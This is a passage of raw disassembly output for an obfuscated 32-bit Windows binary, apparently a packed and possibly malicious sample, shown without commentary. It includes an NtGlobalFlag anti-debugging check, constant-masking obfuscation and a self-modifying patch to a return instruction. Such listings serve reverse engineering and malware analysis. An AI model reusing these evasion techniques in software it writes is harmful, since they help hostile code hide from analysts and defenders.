; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4259BF
loc_42AB10: ; CODE XREF: sub_4259BF+259Bj
xor edx, eax
shr ecx, 11h
jnz loc_42A985
add ecx, 1FBA25DAh
loc_42AB21: ; CODE XREF: sub_421D33:loc_42783Ej
call sub_426612
call sub_42269A
; END OF FUNCTION CHUNK FOR sub_4259BF
; START OF FUNCTION CHUNK FOR sub_422790
loc_42AB2B: ; CODE XREF: sub_422790+Cj
jmp loc_421980
; END OF FUNCTION CHUNK FOR sub_422790
; =============== S U B R O U T I N E =======================================
sub_42AB30 proc near ; CODE XREF: sub_42936F+3p
; FUNCTION CHUNK AT 00424768 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00424D75 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00425122 SIZE 00000005 BYTES
xchg ecx, [esp+0]
mov ecx, [esp+0]
mov esp, ebp
pop ebp
mov eax, ds:dword_423434
jmp loc_424D75
sub_42AB30 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427FF5
loc_42AB44: ; CODE XREF: sub_427FF5+Ej
xchg edi, [esp-4+arg_0]
retn
; END OF FUNCTION CHUNK FOR sub_427FF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42AB48: ; CODE XREF: sub_42284F+D31j
jmp nullsub_127
; END OF FUNCTION CHUNK FOR sub_42284F
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_42AB50: ; CODE XREF: sub_42875C+8j
; sub_42C057-23j ...
mov edx, [esp+0]
jmp loc_4265B7
; END OF FUNCTION CHUNK FOR sub_42C057
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_42AB58: ; CODE XREF: sub_42A0CC-6BF3j
mov eax, large fs:30h
mov eax, [eax+68h]
test eax, 70h
jz loc_4298E4
jmp loc_4274BA
; END OF FUNCTION CHUNK FOR sub_42A0CC
; =============== S U B R O U T I N E =======================================
sub_42AB72 proc near ; CODE XREF: _94j21ax3:00421D9Fj
; sub_4294B3:loc_42751Ap
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 004272BE SIZE 00000005 BYTES
mov [esp+0], esi
pop esi
xchg eax, [esp-4+arg_0]
jmp loc_4272BE
sub_42AB72 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42AB7E: ; CODE XREF: _94j21ax3:loc_421FD9j
pop esi
jp loc_42598E
loc_42AB85: ; CODE XREF: _94j21ax3:loc_421730j
call sub_4239F1
; START OF FUNCTION CHUNK FOR sub_42B4F1
loc_42AB8A: ; CODE XREF: sub_42B4F1+Aj
push eax
push offset sub_4295ED
jmp nullsub_214
; END OF FUNCTION CHUNK FOR sub_42B4F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42AB95: ; CODE XREF: sub_42284F-3A7j
push 4AD10CCFh
loc_42AB9A: ; CODE XREF: sub_42284F:loc_42A165j
lea eax, [ebp-25Ch]
cmp dword ptr [eax], 47424454h
jnz loc_427BB3
jmp loc_425784
; END OF FUNCTION CHUNK FOR sub_42284F
; =============== S U B R O U T I N E =======================================
sub_42ABB1 proc near ; CODE XREF: sub_42972F:loc_42204Ep
; _94j21ax3:00429AF3j
; FUNCTION CHUNK AT 004280B7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004282F7 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00428F87 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AA6D SIZE 0000000B BYTES
mov [esp+0], edx
pop edx
push 59E2E4Dh
pop edi
add edi, 9533D38Bh
jmp loc_428F87
sub_42ABB1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B079
loc_42ABC6: ; CODE XREF: sub_42B079:loc_42B07Ej
mov [ebp-4], eax
jmp loc_42C414
; END OF FUNCTION CHUNK FOR sub_42B079
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42ABCE proc near ; CODE XREF: sub_426C7A-2B64p
; sub_426C7A+26Bp
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004269AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004270CF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429AF8 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042C49C SIZE 00000005 BYTES
push ebp
loc_42ABCF: ; CODE XREF: _94j21ax3:0042B12Fj
mov ebp, esp
add esp, 0FFFFFFD8h
jmp loc_4269AC
sub_42ABCE endp
; =============== S U B R O U T I N E =======================================
sub_42ABD9 proc near ; DATA XREF: sub_428694-1A26o
; FUNCTION CHUNK AT 00426CC5 SIZE 00000005 BYTES
xchg ecx, [esp+0]
jmp loc_426CC5
sub_42ABD9 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427D53
loc_42ABE1: ; CODE XREF: sub_427D53:loc_42189Cj
or eax, eax
jnz loc_423832
call sub_42574E
mov edx, 0C90D1845h
jmp loc_42434A
; END OF FUNCTION CHUNK FOR sub_427D53
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_42ABF8: ; CODE XREF: sub_42C0BC:loc_423F75j
xor edx, 9B785B09h
cmp edx, 53115CB8h
jmp loc_424637
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
push 0E6EC9EB1h
ror eax, 0Ah
jmp sub_42269A
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_42AC17 proc near ; CODE XREF: sub_42484C:loc_427082j
; sub_4292D7+4p
; FUNCTION CHUNK AT 00421276 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423E24 SIZE 0000000A BYTES
jnz loc_423E24
call sub_42A0CC
push ecx
call sub_42559A
loc_42AC28: ; CODE XREF: sub_42220B+5D65j
jmp sub_42875C
sub_42AC17 endp
; =============== S U B R O U T I N E =======================================
sub_42AC2D proc near ; DATA XREF: sub_4238D1-221Fo
; FUNCTION CHUNK AT 00421A87 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00423A7D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042657A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042911D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042BCA4 SIZE 00000007 BYTES
or ecx, ecx
jz loc_42AC48
mov edx, [ebx+ecx]
loc_42AC38: ; CODE XREF: sub_428418+19j
xor edx, [ebx+ecx+4]
cmp edx, 7C61090Eh
jz loc_427DA3
loc_42AC48: ; CODE XREF: sub_425983+226Dj
; sub_428418+4j ...
jno loc_42BCA4
or eax, eax
jmp loc_42657A
sub_42AC2D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42AC55: ; CODE XREF: _94j21ax3:loc_427413j
shl ecx, 4
ror ebx, 1Fh
push 5B56908Dh
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_42AC60: ; CODE XREF: sub_428BBD:loc_42168Fj
cmp esi, 0A778BA90h
jmp loc_42AC9D
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_42AC6B: ; CODE XREF: sub_42220B:loc_427F5Fj
; sub_423F55+59F8j
jge loc_42B10A
; END OF FUNCTION CHUNK FOR sub_423F55
; START OF FUNCTION CHUNK FOR sub_4221B8
loc_42AC71: ; CODE XREF: sub_4221B8+Aj
jmp loc_42AF73
; END OF FUNCTION CHUNK FOR sub_4221B8
; ---------------------------------------------------------------------------
mov ebx, 76E2AA6Fh
jl loc_42BC67
jmp loc_42B108
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_42AC87: ; CODE XREF: sub_42169F+2D2Dj
jz loc_42912F
loc_42AC8D: ; CODE XREF: _94j21ax3:0042A08Dj
jmp nullsub_131
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
jnp loc_421C14
jmp loc_42912C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_42AC9D: ; CODE XREF: sub_428BBD+20A9j
js loc_421042
loc_42ACA3: ; CODE XREF: _94j21ax3:loc_4264A3j
push eax
push 0B4E3C17Bh
pop eax
add eax, 79399D40h
test eax, 400000h
jmp loc_42308D
; END OF FUNCTION CHUNK FOR sub_428BBD
; =============== S U B R O U T I N E =======================================
sub_42ACBB proc near ; DATA XREF: sub_424475+9o
mov edx, 0CF0182F6h
call sub_422048
mov ds:dword_42C4A4, eax
sub_42ACBB endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_42780F
loc_42ACCA: ; CODE XREF: sub_42780F:loc_424570j
; sub_42780F+11j ...
mov eax, ds:dword_42C4A4
call sub_423F43
jmp loc_42818F
; END OF FUNCTION CHUNK FOR sub_42780F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B856
loc_42ACD9: ; CODE XREF: sub_42B856:loc_422B44j
; sub_42B856-630Fj
mov ecx, [ebp-1Ch]
and ecx, 7
mov eax, 1
shl eax, cl
mov edx, [ebp-1Ch]
shr edx, 3
mov ecx, ds:dword_429F74
jmp loc_428C6A
; END OF FUNCTION CHUNK FOR sub_42B856
; ---------------------------------------------------------------------------
loc_42ACF7: ; DATA XREF: sub_426B3Co
js loc_42A6EF
pushf
call sub_42B772
; START OF FUNCTION CHUNK FOR sub_421656
loc_42AD03: ; CODE XREF: sub_421656:loc_42ADE3j
mov ds:byte_426F58, 1
lea eax, [ebp-14h]
xor edx, edx
push offset sub_428463
jmp nullsub_132
; END OF FUNCTION CHUNK FOR sub_421656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42134B
loc_42AD19: ; CODE XREF: sub_42134B+7F80j
pop esi
rol esi, 0Ch
xor esi, 2CBDCF33h
add esi, ebp
loc_42AD25: ; CODE XREF: sub_428BBD:loc_4235EAj
add esi, 81447FD0h
mov [esi], eax
pop esi
jmp loc_42742B
; END OF FUNCTION CHUNK FOR sub_42134B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4238D1
loc_42AD33: ; CODE XREF: sub_4238D1+Ej
jp loc_42B808
jp loc_4216AE
jmp sub_4232B6
; END OF FUNCTION CHUNK FOR sub_4238D1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422CA6
loc_42AD44: ; CODE XREF: sub_422CA6:loc_4259CAj
; sub_422CA6+6685j
call sub_422750
; END OF FUNCTION CHUNK FOR sub_422CA6
; START OF FUNCTION CHUNK FOR sub_428993
loc_42AD49: ; CODE XREF: sub_428993:loc_42511Dj
push edi
loc_42AD4A: ; CODE XREF: sub_42AC2D-71ACj
push 904C8C5h
pop edi
and edi, 53E7EC4h
xor edi, 0E5DC066Ch
jmp loc_428D38
; END OF FUNCTION CHUNK FOR sub_428993
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B358
loc_42AD61: ; CODE XREF: sub_42B358:loc_424E88j
push 3FF175CAh
pop edx
add edx, 0C6D4EADh
add edx, ebp
jmp loc_421F86
; END OF FUNCTION CHUNK FOR sub_42B358
; ---------------------------------------------------------------------------
cmp ebx, edi
jmp loc_42B472
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_42AD7B: ; CODE XREF: sub_428BBD:loc_424E64j
lea eax, sub_4228FF
mov [ecx+0B8h], eax
xchg ebp, [esp+0]
mov ecx, ebp
jmp loc_429E6F
; END OF FUNCTION CHUNK FOR sub_428BBD
; =============== S U B R O U T I N E =======================================
sub_42AD91 proc near ; CODE XREF: sub_42983E:loc_424335p
; sub_423A56:loc_4289AEj
mov [esp+0], ebx
pop ebx
add ecx, 0BDD4DBF6h
call sub_4240C3
loc_42ADA0: ; CODE XREF: _94j21ax3:0042A17Dj
mov [edx], esi
sub_42AD91 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42ADA2 proc near ; CODE XREF: sub_42484C+2B2Cp
; _94j21ax3:loc_42A314j
; FUNCTION CHUNK AT 00424B31 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00425B8C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00426C46 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004278E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A19F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B9F9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BB45 SIZE 0000000B BYTES
mov [esp+0], esi
pop esi
push eax
call sub_429550
loc_42ADAC: ; CODE XREF: _94j21ax3:0042418Fj
jmp loc_424B31
sub_42ADA2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_42ADB1: ; CODE XREF: sub_421F28:loc_42BCABj
test ebp, 61CB790Dh
jmp loc_427905
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424627
loc_42ADBC: ; CODE XREF: sub_424627+5j
xchg ebx, eax
push edx
or eax, 2AA9EA33h
cmp eax, ebx
cmp ebx, eax
not eax
jns loc_42926B
jmp loc_428B54
; END OF FUNCTION CHUNK FOR sub_424627
; =============== S U B R O U T I N E =======================================
sub_42ADD6 proc near ; CODE XREF: _94j21ax3:004278EFp
mov [esp+0], eax
ror eax, 0Dh
mov ds:dword_424090, eax
sub_42ADD6 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421656
loc_42ADE3: ; CODE XREF: sub_421656+449Fj
jmp loc_42AD03
; END OF FUNCTION CHUNK FOR sub_421656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42454E
loc_42ADE8: ; CODE XREF: sub_42454E+Dj
; sub_4276A3+6j
rol eax, 0Dh
push eax
jmp loc_428437
; END OF FUNCTION CHUNK FOR sub_42454E
; ---------------------------------------------------------------------------
adc ebp, ecx
jmp sub_4290C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42ADF8: ; CODE XREF: sub_42284F:loc_42BD2Bj
jz loc_421F75
jmp loc_42397F
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423C3E
loc_42AE03: ; CODE XREF: sub_423C3E+Ej
jz loc_4226F8
jmp loc_427144
; END OF FUNCTION CHUNK FOR sub_423C3E
; ---------------------------------------------------------------------------
shl ebp, 0Bh
jmp loc_429DE7
; ---------------------------------------------------------------------------
locret_42AE16: ; CODE XREF: _94j21ax3:loc_421FBAj
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_42AE17: ; CODE XREF: sub_422EB0+644Ej
jmp loc_42B221
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
loc_42AE1C: ; CODE XREF: _94j21ax3:004265E5j
jmp loc_427441
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A791
loc_42AE21: ; CODE XREF: sub_42A791:loc_42378Aj
call sub_423BBD
loc_42AE26: ; CODE XREF: sub_42B478:loc_429A2Aj
xor edx, 40132F8Eh
add edx, 0D9AB5872h
xchg edx, [esp-4+arg_0]
jmp sub_42A61F
; END OF FUNCTION CHUNK FOR sub_42A791
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_42AE3A: ; CODE XREF: sub_422EB0+5A99j
jnz loc_4272F8
jmp loc_42BF64
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421A4F
loc_42AE45: ; CODE XREF: sub_421A4F+4j
; sub_428EBB-6BCCj ...
mov eax, [ebp-4]
mov [ebp-8], eax
mov eax, [ebp-8]
loc_42AE4E: ; CODE XREF: _94j21ax3:loc_42327Ej
mov esp, ebp
push offset loc_42AEF3
jmp nullsub_135
; END OF FUNCTION CHUNK FOR sub_421A4F
; =============== S U B R O U T I N E =======================================
sub_42AE5A proc near ; DATA XREF: sub_42763B+5o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00421154 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00421C93 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00422347 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00422653 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042536A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00425FD4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427A55 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428FE7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004291E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429478 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B68F SIZE 0000000A BYTES
jns loc_42B68F
xor ebx, edx
shl eax, 4
push edx
push 5A27CC35h
pop edx
xor edx, 3621E891h
jmp loc_422653
sub_42AE5A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4247A2
loc_42AE77: ; CODE XREF: sub_4247A2+9j
push ecx
mov esp, ebp
pop ebp
mov eax, ds:dword_429F80
or eax, eax
; END OF FUNCTION CHUNK FOR sub_4247A2
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42AE83: ; CODE XREF: sub_42284F+66F1j
jmp loc_426A0E
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423614
loc_42AE88: ; CODE XREF: sub_423614:loc_4256D0j
jz loc_42665B
jmp loc_4230E6
; END OF FUNCTION CHUNK FOR sub_423614
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C473
loc_42AE93: ; CODE XREF: sub_42C473:loc_4273D7j
call sub_426E5C
push offset loc_429FBC
jmp nullsub_195
; END OF FUNCTION CHUNK FOR sub_42C473
; ---------------------------------------------------------------------------
mov [ebp-10h], eax
; START OF FUNCTION CHUNK FOR sub_4271A0
loc_42AEA5: ; CODE XREF: sub_4271A0:loc_4282F2j
mov eax, [ebp-10h]
call sub_428954
; END OF FUNCTION CHUNK FOR sub_4271A0
; START OF FUNCTION CHUNK FOR sub_422764
loc_42AEAD: ; CODE XREF: sub_422764-C6Ej
jmp nullsub_136
; END OF FUNCTION CHUNK FOR sub_422764
; =============== S U B R O U T I N E =======================================
sub_42AEB2 proc near ; CODE XREF: sub_427B35+6p
; _94j21ax3:0042967Dj
; FUNCTION CHUNK AT 0042BC46 SIZE 0000000A BYTES
xchg esi, [esp+0]
pop esi
push edi
push 3B7D3554h
pop edi
add edi, 0C4C54C17h
jmp loc_42BC46
sub_42AEB2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_42AEC8: ; CODE XREF: sub_42C1AE+17j
jz loc_424D01
jmp loc_42178F
; END OF FUNCTION CHUNK FOR sub_42C1AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42306C
loc_42AED3: ; CODE XREF: sub_42306C+10j
mov edx, [ebp+8]
or [edx-8], eax
; END OF FUNCTION CHUNK FOR sub_42306C
; START OF FUNCTION CHUNK FOR sub_427AEB
loc_42AED9: ; CODE XREF: sub_427AEB+8j
; sub_42B3E4+11B2j ...
jz loc_4211AE
cmp dword ptr [ebp-14h], 4
jmp loc_422DC2
; END OF FUNCTION CHUNK FOR sub_427AEB
; ---------------------------------------------------------------------------
or ebx, 2C639F09h
jmp sub_42284F
; ---------------------------------------------------------------------------
loc_42AEF3: ; DATA XREF: sub_421A4F+9401o
pop ebp
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42875C
loc_42AEF5: ; CODE XREF: sub_42875C+Ej
jmp loc_4282AE
; END OF FUNCTION CHUNK FOR sub_42875C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B3E4
loc_42AEFA: ; CODE XREF: sub_42B3E4+Ej
cmp dword ptr [ebp-10h], 1
jnz loc_42C59B
mov eax, [ebp+8]
mov eax, [eax-8]
or eax, 8
jmp loc_42C58D
; END OF FUNCTION CHUNK FOR sub_42B3E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_42AF12: ; CODE XREF: sub_42C057-998Fj
rol edi, 0Dh
pop ecx
loc_42AF16: ; CODE XREF: sub_42C057:loc_4281DEj
push 0
push edi
push 7C83B8CDh
pop edi
loc_42AF1F: ; CODE XREF: _94j21ax3:004242EFj
add edi, 837C4733h
xchg edi, [esp+0]
jmp loc_421C99
; END OF FUNCTION CHUNK FOR sub_42C057
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423A56
loc_42AF2D: ; CODE XREF: sub_423A56:loc_4263FCj
lea eax, [ebp-24h]
push eax
push 40h
lea eax, [ebp-64h]
push eax
push 400000h
jmp loc_422E19
; END OF FUNCTION CHUNK FOR sub_423A56
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B43F
loc_42AF42: ; CODE XREF: sub_42B43F:loc_427D2Fj
mov esi, ebx
pop ebx
add esi, 69092FD9h
xchg esi, [esp+4+var_4]
jmp loc_42A832
; END OF FUNCTION CHUNK FOR sub_42B43F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4226AE
loc_42AF53: ; CODE XREF: sub_4226AE:loc_421783j
add ebx, 0E2D29D1Eh
add ebx, ebp
push ecx
push 21D9C0Bh
pop ecx
sub ecx, 619A1D8h
test ecx, 8000000h
jmp loc_429308
; END OF FUNCTION CHUNK FOR sub_4226AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4221B8
loc_42AF73: ; CODE XREF: sub_4221B8:loc_42AC71j
or edi, 9B9208BDh
jnz loc_425A2A
loc_42AF7F: ; CODE XREF: sub_42191F+A33Dj
jmp loc_42B942
; END OF FUNCTION CHUNK FOR sub_4221B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42AF84: ; CODE XREF: sub_42284F+4CEDj
jmp loc_421B98
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_42AF89: ; CODE XREF: sub_423FCD-1CF9j
jmp loc_429930
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
sub ecx, ebx
push 875B9F68h
jmp loc_425A2A
; ---------------------------------------------------------------------------
loc_42AF9A: ; CODE XREF: _94j21ax3:004210E2j
; _94j21ax3:0042898Ej
mov [esp], ecx
pop ecx
lea eax, nullsub_11
js loc_42A071
mov byte ptr [eax], 0C3h
call sub_42574E
loc_42AFB2: ; CODE XREF: _94j21ax3:loc_4225E0j
push offset sub_427773
jmp loc_42AFE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423717
loc_42AFBC: ; CODE XREF: sub_423717:loc_423732j
xchg edi, [esp-4+arg_0]
jmp sub_4239A5
; END OF FUNCTION CHUNK FOR sub_423717
; ---------------------------------------------------------------------------
sub edi, 684FDB7Ah
sbb ebx, ecx
jmp sub_428418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_42AFD1: ; CODE XREF: sub_42C0BC:loc_42320Dj
pop esi
and eax, ebp
sbb ebx, 0C8476784h
jmp loc_426BBE
; END OF FUNCTION CHUNK FOR sub_42C0BC
; =============== S U B R O U T I N E =======================================
sub_42AFDF proc near ; CODE XREF: _94j21ax3:004280EAj
; DATA XREF: sub_4266F6:loc_4280E0o
rol eax, 5
push eax
retn
sub_42AFDF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42AFE4: ; CODE XREF: _94j21ax3:0042AFB7j
jmp locret_421F44
; ---------------------------------------------------------------------------
loc_42AFE9: ; CODE XREF: _94j21ax3:00428B13j
jmp loc_42BDEE
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AFEE proc near ; CODE XREF: _94j21ax3:0042A2D7p
; FUNCTION CHUNK AT 00428B50 SIZE 00000004 BYTES
push ebp
mov ebp, esp
push ecx
mov esp, ebp
mov ebp, offset sub_428B5E
jmp loc_428B50
sub_42AFEE endp
; =============== S U B R O U T I N E =======================================
sub_42AFFE proc near ; CODE XREF: _94j21ax3:00422342j
; _94j21ax3:loc_426ABDp
xchg edi, [esp+0]
pop edi
add ecx, ebp
add ecx, 0AFBF9EB9h
jmp loc_42945A
sub_42AFFE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42426B
loc_42B00F: ; CODE XREF: sub_42426B-24FDj
mov edx, esp
push edx
push 0BCE60B3Ch
sub [esp+18h+var_18], 0BCE60B3Ch
push eax
lea eax, sub_427C35
push eax
jmp loc_428247
; END OF FUNCTION CHUNK FOR sub_42426B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4250F7
loc_42B02B: ; CODE XREF: sub_4250F7:loc_42825Fj
jnz loc_42392A
jmp loc_429DDC
; END OF FUNCTION CHUNK FOR sub_4250F7
; ---------------------------------------------------------------------------
loc_42B036: ; CODE XREF: _94j21ax3:00424F68j
jb nullsub_83
; =============== S U B R O U T I N E =======================================
sub_42B03C proc near ; CODE XREF: sub_4215F9+6p
; FUNCTION CHUNK AT 00423BB4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00424D53 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042740E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427F9A SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00427FAC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042BF94 SIZE 00000019 BYTES
xchg ebx, [esp+0]
pop ebx
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
jmp loc_42BF94
sub_42B03C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
sbb esi, edx
jmp sub_42A919
; =============== S U B R O U T I N E =======================================
sub_42B052 proc near ; CODE XREF: sub_4281A5-A02p
; _94j21ax3:00428124j
xchg edi, [esp+0]
pop edi
add esp, 4
push offset loc_4242E5
jmp nullsub_138
sub_42B052 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_42B064: ; CODE XREF: sub_423FCD+1261j
jmp loc_4290FA
; END OF FUNCTION CHUNK FOR sub_423FCD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422F0A
loc_42B06A: ; CODE XREF: sub_422F0A+8A0Aj
jmp nullsub_198
; END OF FUNCTION CHUNK FOR sub_422F0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423284
loc_42B06F: ; CODE XREF: sub_423284-D8Bj
jmp loc_42B6F1
; END OF FUNCTION CHUNK FOR sub_423284
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_42B075 proc near ; CODE XREF: sub_42848B:loc_42782Ep
mov [esp+0], eax
retn
sub_42B075 endp
; =============== S U B R O U T I N E =======================================
sub_42B079 proc near ; CODE XREF: sub_428620-660Fj
; _94j21ax3:004234ECp ...
; FUNCTION CHUNK AT 0042ABC6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042C414 SIZE 00000005 BYTES
call sub_424EB4
loc_42B07E: ; CODE XREF: sub_423324+64D1j
jmp loc_42ABC6
sub_42B079 endp
; ---------------------------------------------------------------------------
loc_42B083: ; CODE XREF: _94j21ax3:00424C30j
jmp loc_4282B9
; ---------------------------------------------------------------------------
loc_42B088: ; CODE XREF: _94j21ax3:004236DDj
jmp loc_4253C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423505
loc_42B08D: ; CODE XREF: sub_423505+Dj
jmp nullsub_206
; END OF FUNCTION CHUNK FOR sub_423505
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A8BB
loc_42B092: ; CODE XREF: sub_42A8BB+7j
mov eax, ds:dword_42409C
or eax, eax
jnz loc_426DE1
jmp loc_42280A
; END OF FUNCTION CHUNK FOR sub_42A8BB
; ---------------------------------------------------------------------------
xor ebp, 0C7196BCBh
jmp sub_424B76
; ---------------------------------------------------------------------------
mov [ebx], edx
jmp sub_422DF2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42269A
loc_42B0B8: ; CODE XREF: sub_42269A:loc_428757j
jz loc_429FE9
add esi, 5BF6ED80h
jmp loc_429E3C
